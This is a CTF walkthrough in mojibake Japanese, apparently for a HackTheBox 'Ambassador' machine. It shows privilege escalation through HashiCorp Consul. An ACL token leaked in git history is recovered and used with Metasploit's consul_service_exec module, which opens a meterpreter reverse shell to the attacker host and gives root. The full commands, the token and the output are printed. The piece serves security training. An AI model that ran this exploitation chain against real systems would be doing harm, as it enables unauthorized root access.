developer.hashicorp.com
ã¾ãã¯Port8500ãéãã¦ããã確èªãã¦ã¿ã¾ãããã
developer@ambassador:/opt/consul$ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN tcp 0 208 10.10.11.183:22 10.10.14.17:49690 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:46313 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:49447 ESTABLISHED tcp 0 0 127.0.0.1:46313 127.0.0.1:8300 ESTABLISHED tcp 0 0 127.0.0.1:49447 127.0.0.1:8300 ESTABLISHED tcp 0 1 10.10.11.183:41320 8.8.8.8:53 SYN_SENT tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::3000 :::* LISTEN udp 0 0 127.0.0.1:8600 0.0.0.0:* udp 0 0 127.0.0.1:53129 127.0.0.53:53 ESTABLISHED udp 0 0 127.0.0.53:53 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 127.0.0.1:8301 0.0.0.0:* udp 0 0 127.0.0.1:8302 0.0.0.0:*
Port8500ãéãã¦ãããã¨ãåããã¾ããã
ã§ã¯SSHãã³ãã«ãå®è¡ãã¦ãcurlã§APIãå©ãã¦ã¿ã¾ãã
âââ(kaliã¿kali)-[~] ââ$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183 âââ(kaliã¿kali)-[~] ââ$ curl http://127.0.0.1:8500 Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
ãã㧠Consul API ã«ãªã¯ã¨ã¹ãå¯è½ã§ãããã¨ãå¤æãã¾ããã
Script checks are enabled
ã§ã¯æ¬¡ã®æ¡ä»¶ã«ç§»ãã¾ãããã
Script checks ãæå¹ã«ãªã£ã¦ãããã©ããã§ãã
Consulã®configãã¡ã¤ã«ãè¦ã¦ã¿ã¾ãããã
developer@ambassador:/opt/consul$ cat /etc/consul.d/consul.hcl | grep script #retry_join = ["provider=azure tag_name=... tag_value=... tenant_id=... client_id=... subscription_id=... secret_access_key=..."] enable_script_checks = true
enable_script_checks ãtrueã«ãªã£ã¦ãããScript checks ãæå¹ã«ãªã£ã¦ãããã¨ãå¤æãã¾ããã
ACLs are disabled or an ACL token is compromised
æå¾ã®æ¡ä»¶ã«ç§»ãã¾ãããã
ACLsãç¡å¹ã«ãªã£ã¦ãããã¾ãã¯ACLãã¼ã¯ã³ãæ¼æ´©ãã¦ãããã®ã©ã¡ããã§ãã
ACLsï¼Access Control Listsï¼ãç¡å¹ã«ãªã£ã¦ããªãããã¾ã確èªãã¾ãã
å
ç¨ã¨åæ§ã«configãã¡ã¤ã«ããæ¤ç´¢ãã¾ãã
developer@ambassador:~$ cat /etc/consul.d/consul.hcl | grep -A 5 acl acl { enabled = true default_policy = "deny" down_policy = "extend-cache" }
ACLsã¯æå¹ã«ãªã£ã¦ããããã§ãã
ã§ã¯ACLãã¼ã¯ã³ãåå¾ããæ¹åã«åãæ¿ãã¾ãã
/opt ãã£ã¬ã¯ããªå
ã«åå¨ãã /my-app ãã£ã¬ã¯ããªãè¦ãã¦ã¿ã¾ãããã
developer@ambassador:/opt/my-app$ ls env whackywidget developer@ambassador:/opt/my-app$ cd whackywidget/ developer@ambassador:/opt/my-app/whackywidget$ ls manage.py put-config-in-consul.sh whackywidget developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh # We use Consul for application config in production, this script will help set the correct values for the app # Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
ããããã¨æ¢ç´¢ãã¦ã¿ãã¨ãmy-app ã§ã¯Consulã使ç¨ãã¦ããããã§ãã
æ´ã«ãput-config-in-consul.sh ã®ä¸èº«ãè¦ã¦ã¿ãã¨ãCONSUL_HTTP_TOKEN ã¨ããç°å¢å¤æ°ã使ç¨ããã¦ãã¾ãã
ãã®ç°å¢å¤æ°ãACLãã¼ã¯ã³ã¨åä¸ã§ãããã¨ãå
¬å¼ããã¥ã¡ã³ãã«è¨è¼ããã¦ãã¾ãã
developer.hashicorp.com
/opt/my-app ãã£ã¬ã¯ããªã§lsã³ãã³ããå®è¡ãã¦ã¿ãã¨ã.gitãã£ã¬ã¯ããªãåå¨ãããã¨ãå¤æãã¾ããã
developer@ambassador:/opt/my-app$ ls -la total 24 drwxrwxr-x 5 root root 4096 Mar 13 2022 . drwxr-xr-x 4 root root 4096 Sep 1 2022 .. drwxrwxr-x 4 root root 4096 Mar 13 2022 env drwxrwxr-x 8 root root 4096 Mar 14 2022 .git -rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
ã¤ã¾ããGitã¬ãã¸ããªã§ãããã¨ãåããã¾ãã
Gitã¬ãã¸ããªã§ããã°ãéå»ã«ãã¼ãã³ã¼ããããACLãã¼ãåå¾ãããã¨ãã§ããå¯è½æ§ãããã¾ãã
git show ã³ãã³ãã§ç¢ºèªãã¦ã¿ã¾ãããã
developer@ambassador:/opt/my-app$ git show commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main) Author: Developer <developer@ambassador.local> Date: Sun Mar 13 23:47:36 2022 +0000 tidy config script diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh index 35c08f6..fc51ec0 100755 --- a/whackywidget/put-config-in-consul.sh +++ b/whackywidget/put-config-in-consul.sh @@ -1,4 +1,4 @@ # We use Consul for application config in production, this script will help set the correct values for the app -# Export MYSQL_PASSWORD before running +# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running -consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD +consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
ãã³ã´ã§ãï¼ACLãã¼ã¯ã³ãéå»ãã¼ã¸ã§ã³ã«ã¦ãã¼ãã³ã¼ãããã¦ãã¾ããã
ããã§å ¨ã¦ã®æ¡ä»¶ãæºããã¾ããã
ã§ã¯æ©éã¨ã¯ã¹ããã¤ããã¾ãããã
æ¹æ³ã¯è²ã
ã¨ããã¾ãããä»åã¯ãMetasploitãã使ç¨ãã¾ãã
Metasploitã®èª¬æãããã¨ã¨ã¦ãé·ããªã£ã¦ãã¾ãã®ã§ãããç°¡åã«èª¬æããã¨ããªã¼ãã³ã½ã¼ã¹ã®ãããã¬ã¼ã·ã§ã³ãã¹ãç¨ãã©ãããã©ã¼ã ã§ããæ§ã
ãªèå¼±æ§ã«å¯¾ããã¨ã¯ã¹ããã¤ãã³ã¼ããåãã£ã¦ããããããã¬ã¼ã·ã§ã³ãã¹ã¿ã¼å¾¡ç¨éã®ãã¼ã«ã§ãã
ï¼ã¨ã¦ã便å©ãªãã¼ã«ã®ä¸æ¹ãèå¼±æ§ã«ã¤ãã¦è©³ããç解ãã¦ããªãç¶æ
ã§ãã¨ã¯ã¹ããã¤ããå¯è½ãªãããå¦ç¿ç®çã®æ¹ã¯ãExploit-DBãªã©ã§å
¬éããã¦ããã¨ã¯ã¹ããã¤ãã³ã¼ããèªããã¨ããå§ããã¾ãã
Metasploitã§ã¨ã¯ã¹ããã¤ãããåã«ãåæºåã¨ãã¦SSHãã³ãã«ãå®è¡ãã¦ããã¾ããï¼Metasploit㯠kali linux å´ã«ããã®ã§ãSSHãã³ãã«ãã¦ãããªãã¨ã¨ã¯ã¹ããã¤ãã§ãã¾ãããï¼
âââ(kaliã¿kali)-[~] ââ$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183
ã§ã¯Metasploitã§ã¨ã¯ã¹ããã¤ããéå§ãã¾ãã
ã¾ãèµ·åãã¾ãããã
âââ(kaliã¿kali)-[~] ââ$ msfconsole
ããã¦è©²å½ã®èå¼±æ§ãé¸æãã¾ãã
msf6 > search consul Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution 1 exploit/multi/http/clipbucket_fileupload_exec 2018-03-03 excellent Yes ClipBucket beats_uploader Unauthenticated Arbitrary File Upload 2 auxiliary/scanner/misc/dahua_dvr_auth_bypass normal No Dahua DVR Auth Bypass Scanner 3 post/windows/manage/dell_memory_protect manual No Dell DBUtilDrv2.sys Memory Protection Modifier 4 exploit/linux/http/groundwork_monarch_cmd_exec 2013-03-08 excellent Yes GroundWork monarch_scan.cgi OS Command Injection 5 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec 6 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API 7 exploit/windows/misc/ibm_director_cim_dllinject 2009-03-10 excellent Yes IBM System Director Agent DLL Injection 8 exploit/unix/webapp/joomla_media_upload_exec 2013-08-01 excellent Yes Joomla Media Manager File Upload Vulnerability 9 auxiliary/admin/http/limesurvey_file_download 2015-10-12 normal No Limesurvey Unauthenticated File Download 10 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability 11 exploit/windows/browser/sonicwall_addrouteentry 2007-11-01 normal No SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow 12 auxiliary/admin/http/sophos_wpa_traversal 2013-04-03 normal No Sophos Web Protection Appliance patience.cgi Directory Traversal 13 exploit/windows/antivirus/symantec_endpoint_manager_rce 2014-02-24 excellent Yes Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce msf6 > use 6 [*] Using configured payload linux/x86/meterpreter/reverse_tcp
ããã¦ãªãã·ã§ã³ãè¨å®ãã¾ãã
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5 ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5 msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17 lhost => 10.10.14.17
æºåãæ´ã£ãã®ã§ããå®è¡ã§ãã
msf6 exploit(multi/misc/consul_service_exec) > run [*] Started reverse TCP handler on 10.10.14.17:4444 [*] Creating service 'AMnCbzYWM' [*] Service 'AMnCbzYWM' successfully created. [*] Waiting for service 'AMnCbzYWM' script to trigger [*] Sending stage (1017704 bytes) to 10.10.11.183 [*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:32818) at 2023-04-26 03:34:21 -0400 [*] Removing service 'AMnCbzYWM' [*] Command Stager progress - 100.00% done (763/763 bytes) meterpreter > shell Process 2277 created. Channel 1 created. pwd / whoami root f60039f5429c4c9e9c9064650f5244da
rootã¦ã¼ã¶ã¼ã«ãªããã¨ãã§ãã¾ããã
ããã«ã¦ãAmbassadorãã®æ»ç¥ãçµäºãã¾ããããç²ãæ§ã§ãï¼
ã¾ã¨ã
ãããã ã£ãã§ããããã
説æãçç¥ããç®æãå¤ã
ããã¾ããããããã¬ã¼ã·ã§ã³ãã¹ãï¼å¤é¨ãµã¼ãã¼ã¸ã®ä¾µå
¥ï¼ã®æµããé¢ç½ãã«ã¤ãã¦ç¥ã£ã¦ããã ããã°å¹¸ãã§ãã
ãããã¬ã¼ã·ã§ã³ãã¹ãã®CTFã§ã¯ãWebã¢ããªã±ã¼ã·ã§ã³ã®èå¼±æ§ããLinuxå
é¨ã®èå¼±æ§ã¾ã§æ§ã
ãªç¥èãå¦ã¶ãã¨ãå¯è½ãªãããç§å人ã¨ãã¦ã¯ãµã¤ãã¼ã»ãã¥ãªãã£ãå¦ã¶ã«ããã£ã¦ãã¨ã¦ãããããã®å¦ç¿æ¹æ³ã§ããã¨èãã¦ãã¾ããï¼ä½ã¨è¨ã£ã¦ãã·ã§ã«ãã¨ããæã®å¬ããããã¿ã¤ãã«ãªãã¾ããï¼
ãããã¬ã¼ã·ã§ã³ãã¹ããã¢ããªã±ã¼ã·ã§ã³è¨ºæãªã©ããå¸æã®æ¹ã¯ããã²ä¸åº¦å¼ç¤¾ã«ãåãåãããã ããï¼
ninjastars.ninja
注æäºé
æ¬è¨äºã«è¨è¼ããã¦ããå 容ã許å¯ããã¦ããªããµã¼ãã¼ã«å¯¾ãã¦å®è¡ããã¨ãç¯ç½ªè¡çºã¨ãªãå¯è½æ§ãããã¾ãããã®ãããè¨äºã®å 容ã試ãéã«ã¯è¨±å¯ããããµã¼ãã¼ã«å¯¾ãã¦ã®ã¿å®æ½ããããã«ãã¦ãã ããã
æ¬ã¬ãã¼ãã«ã¤ãã¦
ãåãåã
E-mail: [email protected]
æ ªå¼ä¼ç¤¾Ninjastars ã»ãã¥ãªãã£ã¨ã³ã¸ãã¢
ããã